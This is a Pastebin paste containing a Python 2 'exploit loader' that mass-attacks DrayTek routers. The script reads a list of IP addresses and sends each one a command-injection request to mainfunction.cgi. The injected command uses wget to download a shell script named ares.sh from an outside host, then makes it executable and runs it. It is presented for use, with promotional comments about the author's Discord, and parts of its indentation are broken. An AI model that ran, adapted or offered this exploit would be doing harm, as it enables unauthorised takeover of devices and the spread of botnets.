xB4ckdoorREAL

[DRAYTEK EXPLOIT LOADER] [RCE]

Jun 18th, 2020
1,089
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.61 KB | None | 0 0
  1. #!/usr/bin/python
  2. #DRAYTEK EXPLOIT LOADER BY B4CKDOOR - B4CKDOORARCHIVE.CLUB#
  3. #JOIN NEW DISCORD, I GOT ALL ACCS DELETED ON DISCORD LEL#
  4. #JOIN DISCORD BY INVITE FROM MY ARCHIVE WEBSITE#
  5.  
  6. import random, socket, time, sys, requests, re, os
  7. from sys import stdout
  8. from Queue import *
  9. from threading import Thread
  10.  
  11.  
  12. if len(sys.argv) < 2:
  13.     sys.exit("usage: python %s <input list> <port>" % (sys.argv[0]))
  14.  
  15. ips = open(sys.argv[1], "r").readlines()
  16. port = sys.argv[2]
  17. queue = Queue()
  18. queue_count = 0
  19.  
  20.  
  21. def send_payload(host):
  22.         url = "http://" + host + ":" + port + "/cgibin/mainfunction.cgi&action=login&keyPath=wget+http%3A%2F%2F1.1.1.1%2Fares.sh+%3B+chmod+777+ares.sh+%3B+sh+ares.sh&loginUser=a&loginPwd=a"
  23.         try:
  24.             output = requests.get(url, timeout=3)
  25.             if output.status_code == int('200'):
  26.                 print "\x1b[1;31m[\x1b[1;37mDrayTek\x1b[1;31m]\x1b[1;37m Xploiting\x1b[1;31m[\x1b[1;36m%s\x1b[1;31m]" % (host)
  27.     except:
  28.         pass
  29.     return
  30.  
  31. def main():
  32.  
  33.     global queue_count
  34.     for line in ips:
  35.         line = line.strip("\r")
  36.     line = line.strip("\n")
  37.         queue_count += 1
  38.         sys.stdout.write("\r[%d] Added to queue" % (queue_count))
  39.         sys.stdout.flush()
  40.         queue.put(line)
  41.     sys.stdout.write("\n")
  42.     i = 0
  43.     while i != queue_count:
  44.         i += 1
  45.         try:
  46.             input = queue.get()
  47.             thread = Thread(target=send_payload, args=(input,))
  48.             thread.start()
  49.         except KeyboardInterrupt:
  50.             os.kill(os.getpid(),9)
  51.     thread.join()
  52.     return
  53.  
  54. if __name__ == "__main__":
  55.     main()#BY B4CKDOOR
Add Comment
Please, Sign In to add comment